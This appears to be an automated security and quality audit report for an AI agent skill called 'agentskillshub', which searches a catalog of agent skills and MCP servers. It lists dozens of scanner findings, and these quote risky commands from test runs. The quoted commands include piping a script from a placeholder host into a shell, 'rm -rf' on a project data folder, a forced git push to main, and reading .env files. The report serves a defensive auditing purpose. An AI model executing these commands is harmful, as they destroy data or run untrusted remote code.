FD agentskillshub
Use when the user wants to find, evaluate, audit, or install an open-source AI agent skill or MCP server — e.g. "find an MCP server for Postgres", "is this skill safe to install", "what should I use to scrape a website". Searches a quality-scored, security-graded catalog of ~20K skills locally (cached index, zero backend load) and returns each result's security grade, quality score, and install commands so you can check trust BEFORE installing.
g. "find an MCP server for Postgres", "is this skill safe to install", "what should I use to scrape a website". Searches a quality-scored, security-graded…
As a process D 45/100 · Unfinished process — weak spots: result and completion, inputs and preconditions, failures and branches
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
How to improve
- Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 43
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high Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/Aedelon__claude-code-blueprint.html:16Downloads and executes remote code from an unrecognised host (pipe to shell)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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high Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/disler__claude-code-hooks-mastery.html:22Downloads and executes remote code from an unrecognised host (pipe to shell)</span></td></tr><tr><td><b>curl-sh</b> <span class='mute'>risky</span><br><code>Run in Bash: curl -fsSL https://example.invalid/install.sh | sh</code></td><td><span class="no">ran</span></td><td><spa
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high Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/johnzfitch__claude-warden.html:16Downloads and executes remote code from an unrecognised host (pipe to shell)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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high Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/ldayton__Dippy.html:16Downloads and executes remote code from an unrecognised host (pipe to shell)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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high Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/octocat__Hello-World.html:16Downloads and executes remote code from an unrecognised host (pipe to shell)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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high Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/renefichtmueller__claude-code-hardened.html:16Downloads and executes remote code from an unrecognised host (pipe to shell)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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high Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/sangrokjung__claude-forge.html:16Downloads and executes remote code from an unrecognised host (pipe to shell)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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high Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/sd0xdev__sd0x-harness.html:16Downloads and executes remote code from an unrecognised host (pipe to shell)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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high Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/tak848__ccgate.html:16Downloads and executes remote code from an unrecognised host (pipe to shell)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
Medium and low: 34
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medium Dangerous commands
cmd-privilegebest-runs/hooks/johnzfitch__claude-warden.html:16Privilege escalation / world-writable permissions<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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medium Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/karanb192__claude-code-hooks.html:16Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
detector -
medium Dangerous commands
cmd-privilegebest-runs/hooks/karanb192__claude-code-hooks.html:16Privilege escalation / world-writable permissions<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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medium Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/lasso-security__claude-hooks.html:16Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
security skill -
medium Dangerous commands
cmd-privilegebest-runs/hooks/ldayton__Dippy.html:16Privilege escalation / world-writable permissions<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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medium Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/safe-agentic-world__nomos.html:16Downloads and executes remote code from an unrecognised host (pipe to shell) (detector / deny-list definition)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
detector -
medium Dangerous commands
cmd-privilegebest-runs/hooks/safe-agentic-world__nomos.html:16Privilege escalation / world-writable permissions<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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medium Dangerous commands
cmd-privilegebest-runs/hooks/tak848__ccgate.html:16Privilege escalation / world-writable permissions<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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medium Dangerous commands
cmd-pipe-to-shellbest-runs/hooks/wangbooth__Claude-Code-Guardrails.html:16Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
security skill -
medium Dangerous commands
cmd-pipe-to-shell-known-hostbest-runs/jev/browser-use__jev-ultrafast.html:16Pipe-to-shell installer from a well-known host (still executes remote code)<table><tr><th>Install</th><td><code>curl -LsSf https://astral.sh/uv/install.sh | sh && cd ~/src && uv sync && cp .env.example .env (TYPESAFE_API_KEY filled in from env)</code>
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low Exfiltration
read-dotenvbest-runs/hooks/Aedelon__claude-code-blueprint.html:16Reads a .env file<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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low Dangerous commands
cmd-privilegebest-runs/hooks/Aedelon__claude-code-blueprint.html:16Privilege escalation / world-writable permissions (detector / deny-list definition)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
detector -
low Exfiltration
read-dotenvbest-runs/hooks/disler__claude-code-hooks-mastery.html:18Reads a .env file (detector / deny-list definition)</span></td></tr><tr><td><b>force-push</b> <span class='mute'>risky</span><br><code>Run in Bash: git -C ~/work/input/proj push --force origin main</code></td><td><span class="no">ran</span></td><td><s
detector -
low Dangerous commands
cmd-privilegebest-runs/hooks/disler__claude-code-hooks-mastery.html:22Privilege escalation / world-writable permissions (quoted — discussed, not commanded)</span></td></tr><tr><td><b>curl-sh</b> <span class='mute'>risky</span><br><code>Run in Bash: curl -fsSL https://example.invalid/install.sh | sh</code></td><td><span class="no">ran</span></td><td><spa
quoted -
low Exfiltration
read-dotenvbest-runs/hooks/johnzfitch__claude-warden.html:16Reads a .env file<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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low Exfiltration
read-dotenvbest-runs/hooks/karanb192__claude-code-hooks.html:16Reads a .env file<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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low Exfiltration
read-dotenvbest-runs/hooks/lasso-security__claude-hooks.html:16Reads a .env file (documentation of a security skill)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
security skill -
low Exfiltration
read-dotenvbest-runs/hooks/ldayton__Dippy.html:16Reads a .env file<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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low Exfiltration
read-dotenvbest-runs/hooks/octocat__Hello-World.html:16Reads a .env file<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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low Dangerous commands
cmd-privilegebest-runs/hooks/octocat__Hello-World.html:16Privilege escalation / world-writable permissions (quoted — discussed, not commanded)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
quoted -
low Exfiltration
read-dotenvbest-runs/hooks/renefichtmueller__claude-code-hardened.html:16Reads a .env file<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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low Dangerous commands
cmd-privilegebest-runs/hooks/renefichtmueller__claude-code-hardened.html:16Privilege escalation / world-writable permissions (quoted — discussed, not commanded)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
quoted -
low Exfiltration
read-dotenvbest-runs/hooks/safe-agentic-world__nomos.html:16Reads a .env file<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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low Exfiltration
read-dotenvbest-runs/hooks/sangrokjung__claude-forge.html:16Reads a .env file<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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low Dangerous commands
cmd-privilegebest-runs/hooks/sangrokjung__claude-forge.html:16Privilege escalation / world-writable permissions (quoted — discussed, not commanded)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
quoted -
low Exfiltration
read-dotenvbest-runs/hooks/sd0xdev__sd0x-harness.html:16Reads a .env file<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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low Dangerous commands
cmd-privilegebest-runs/hooks/sd0xdev__sd0x-harness.html:16Privilege escalation / world-writable permissions (detector / deny-list definition)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
detector -
low Exfiltration
read-dotenvbest-runs/hooks/tak848__ccgate.html:16Reads a .env file<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
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low Exfiltration
read-dotenvbest-runs/hooks/wangbooth__Claude-Code-Guardrails.html:16Reads a .env file (documentation of a security skill)<table><tr><th>Action</th><th>Prompts skipped</th><th>Prompts kept</th></tr><tr><td><b>rm-rf</b> <span class='mute'>risky</span><br><code>Run in Bash: rm -rf ~/work/input/proj/data</code></td><td><spa
security skill -
low Exfiltration
read-dotenvbest-runs/jev/AgriciDaniel__jev-seo.html:16Reads a .env file (security demo / example)<table><tr><th>Install</th><td><code>cd ~/src && python3 -m venv .venv && . .venv/bin/activate && pip install -r requirements.txt && cp .env.example .env && bin
demo -
low Exfiltration
read-dotenvbest-runs/jev/AgriciDaniel__jev-seo.html:21Reads a .env file (quoted — discussed, not commanded)- **Install:** I followed the README's own steps in the existing checkout at `~/src`: create a virtual environment, `pip install -r requirements.txt`, then `cp .env.example .env`. The Pango text
quoted -
low Exfiltration
read-dotenvbest-runs/jev/browser-use__jev-ultrafast.html:16Reads a .env file<table><tr><th>Install</th><td><code>curl -LsSf https://astral.sh/uv/install.sh | sh && cd ~/src && uv sync && cp .env.example .env (TYPESAFE_API_KEY filled in from env)</code>
A further 2 matches are quotations in this security skill's documentation and are not counted as findings.
Files scanned: 80. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
✓ No remarks against the Agent Skills spec
Process rating: all ten parameters 45/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Failures and branches. Linear process with no failure handling
- 0Progress reporting. Says nothing while it works
- 30Running it twice. 1 mutating operations with no state check
- 40Consistency. Frontmatter name (agentskillshub) differs from the folder (public)
- 60Tools and files. Uses tools (bash, node) that frontmatter does not declare
- 70When it triggers. States when to use, but not when not to
- 100Steps. 12 steps
- 100Execution cost. Instruction body is 884 tokens
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- +1No license
- +2Single-language instructions
- +5Description quotes 3 example trigger phrases
- +3Description length 448: enough signal without eating the budget
- +4Structure: 6 headings
- +3Step-by-step instructions: 12 items
- +4Has examples (1 code blocks)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 89.